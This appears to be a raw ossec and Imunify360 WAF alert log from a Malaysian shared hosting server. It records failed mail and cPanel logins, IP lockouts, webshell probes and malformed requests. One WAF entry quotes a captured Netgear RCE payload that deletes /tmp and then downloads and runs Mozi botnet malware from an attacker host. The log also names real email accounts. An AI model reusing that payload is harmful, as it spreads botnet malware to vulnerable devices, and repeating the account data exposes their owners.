IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=t022-0633 - rsc printed carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.186
country_id: 1733045
description:
[2026-01-13 11:51:38 +0800] info [webmaild] 27.125.243.186 - jlpom@ajplantations.com.my "GET /cpsess7039160624/3rdparty/roundcube/plugins/jqueryui/themes/elastic/jquery-ui.min.css?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.243.146] != Current IP Address [27.125.243.186]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.243.146
country_id: 1733045
description:
[2026-01-13 11:51:45 +0800] info [webmaild] 27.125.243.146 - jlpom@ajplantations.com.my "GET /cpsess7039160624/3rdparty/roundcube/?_task=mail&_mbox=INBOX.Sent HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.176.165.2
country_id: 2464461
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=b031-0002 - rsc plain carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.189.98.241
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/ice/15/105/1511897 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.2
country_id: 226074
description:
Jan 13 11:56:05 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.2
country_id: 226074
description:
Jan 13 11:56:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.34.34.253
country_id: 2510769
description:
Jan 13 11:56:26 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.34.34.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.252.75
country_id: 3865483
description:
Jan 13 11:58:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.252.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.169.22
country_id: 3469034
description:
Jan 13 11:58:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.169.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.229.252.75
country_id: 3865483
description:
Jan 13 11:58:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.229.252.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.224.113.225
country_id: 3469034
description:
Jan 13 11:58:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.224.113.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.235.31.165
country_id: 3077311
description:
Jan 13 11:58:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.235.31.165 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:59:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37782: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 11:59:12 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:37782: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.71.44
country_id: 3865483
description:
Jan 13 12:00:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.71.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/img/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 12:01:06 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45857: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.185.224.48
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=771120 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-13 12:01:12 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:45857: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.181.45.106
country_id: 587116
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Session/Attribute HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.125.113.155
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Session/Attribute/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.128.168
country_id: 1733045
description:
[2026-01-13 12:04:54 +0800] info [webmaild] 113.211.128.168 - felicia@nexuscollection.com "POST /cpsess1254170256/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.123.243] != Current IP Address [113.211.128.168]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.36
country_id: 3469034
description:
Jan 13 12:05:03 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.36 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.113.188.65
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/doc/sending.rst HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.200
country_id: 953987
description:
Jan 13 12:04:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.249.118
country_id: 3865483
description:
Jan 13 12:05:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.249.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.142.36
country_id: 3469034
description:
Jan 13 12:05:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.142.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.45
country_id: 3175395
description:
Jan 13 12:06:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.51.223.132
country_id: 1269750
description:
Jan 13 12:06:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.51.223.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.226.88.121
country_id: 2661886
description:
2026-01-13 12:07:33 dovecot_plain authenticator failed for H=81-226-88-121-no600.tbcn.telia.com (acing) [81.226.88.121]:45424: 535 Incorrect authentication data (set_id=amirrol@ajresorts.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.45
country_id: 3175395
description:
Jan 13 12:07:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.226.88.121
country_id: 2661886
description:
Jan 13 12:07:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.226.88.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.155.213.175
country_id: 1668284
description:
Jan 13 12:08:21 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.155.213.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.155.213.175
country_id: 1668284
description:
2026-01-13 12:08:23 dovecot_login authenticator failed for H=182-155-213-175.veetime.com [182.155.213.175]:59502: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.171.94.162
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=233781 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 12:11:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59302: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.129.87.182
country_id: 1814991
description:
Jan 13 12:11:41 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.129.87.182 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.211.33.238
country_id: 690791
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=171212 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 12:11:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59302: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.129.87.182
country_id: 1814991
description:
2026-01-13 12:11:43 dovecot_login authenticator failed for H=([39.129.87.182]) [39.129.87.182]:57512: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/radioactive.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.209.66
country_id: 933860
description:
Jan 13 12:12:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.209.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.224.56.242
country_id: 1814991
description:
Jan 13 12:13:18 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.224.56.242 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.143.151.4
country_id: 3508796
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=287340 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 12:14:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63368: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.224.56.242
country_id: 1814991
description:
2026-01-13 12:13:20 dovecot_login authenticator failed for H=([120.224.56.242]) [120.224.56.242]:50440: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 12:14:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63368: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.142.16.10
country_id: 2400553
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=211364 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-13 12:15:30 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess2961289908/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/portfolio/sitemap.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-13 12:17:07 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0816338034/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.123.249
country_id: 337996
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/very/19/666/1941938 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-13 12:18:07 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess0816338034/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.155.106.83
country_id: 1835841
description:
2026-01-13 12:18:50 dovecot_login authenticator failed for H=([218.155.106.83]) [218.155.106.83]:55114: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.200.179
country_id: 3437598
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=29 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.114.96.88
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f004 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.164
country_id: 3469034
description:
Jan 13 12:21:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.164 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.156.115.20
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f004/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.69.59.208
country_id: 1210997
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/search&tag=A053-0003 - RSC Printed Carton HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 158.94.210.79
country_id: 2750405
description:
[2026-01-13 12:20:36 +0800] info [whostmgrd] 158.94.210.79 - jasonkua@printspecsolution.com "GET /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.58
country_id: 719819
description:
Jan 13 12:21:59 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.95.115.238
country_id: 798544
description:
Jan 13 12:21:30 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.95.115.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.162.99.246
country_id: 3077311
description:
Jan 13 12:21:40 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.162.99.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.164
country_id: 3469034
description:
Jan 13 12:21:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.164 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.24.79.251
country_id: 3439705
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=872055 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.58
country_id: 719819
description:
Jan 13 12:22:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.25.18.101
country_id: 3932488
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/resources/views/layouts/auth.blade.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - astpkg@astlog.com.my [01/13/2026:04:24:59 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: astpkg@astlog.com.my


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 1.83.68.169
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/HTWF/scripts/parallax.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 120.39.250.213
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/HTWF/scripts/isotope.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.33.31.31
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/HTWF/css/image-box.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.110
country_id: 3865483
description:
Jan 13 12:26:05 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.24.78.209
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.88.69.106
country_id: 1814991
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/HTWF/scripts/jquery.magnific-popup.min.js HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.111.39
country_id: 3469034
description:
Jan 13 12:26:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.111.39 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.23.251.225
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=993425 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.110
country_id: 3865483
description:
Jan 13 12:26:14 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.116.11.49
country_id: 6252001
description:
2026-01-13 12:27:11 dovecot_login authenticator failed for H=([127.0.0.1]) [107.116.11.49]:4604: 535 Incorrect authentication data (set_id=info@santanmas.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.196.255.48
country_id: 3625428
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=724064 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:29:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14130: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:29:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14130: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.205
country_id: 6252001
description:
Jan 13 12:31:02 sv3 pure-ftpd[307184]: (?@162.142.125.205) [INFO] New connection from 162.142.125.205


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37648: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - boss@astlog.com.my [01/13/2026:04:32:06 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: boss@astlog.com.my


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 12:31:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:37648: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.164.191
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=836901 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.22
country_id: 226074
description:
Jan 13 12:31:29 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77316728
name: IM360 WAF: Netgear unauthenticated RCE
abuser: 27.122.61.170
country_id: 1269750
description:
IM360 WAF: Netgear unauthenticated RCE||RSV:7.62||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget http://27.122.61.170:34687/Mozi.m -O /tmp/netgear;sh netgear||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 12:34:49 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.47.130.6
country_id: 1269750
description:
2026-01-13 12:34:57 dovecot_plain authenticator failed for H=(96H3V7R8Q2) [49.47.130.6]:58185: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 12:35:07 H=([45.144.212.242]) [45.144.212.242]:59078 F=<lynnied@mhtc.net> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.53.130.159
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=124214 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.22
country_id: 2510769
description:
Jan 13 12:35:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.22 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.246.210.13
country_id: 798544
description:
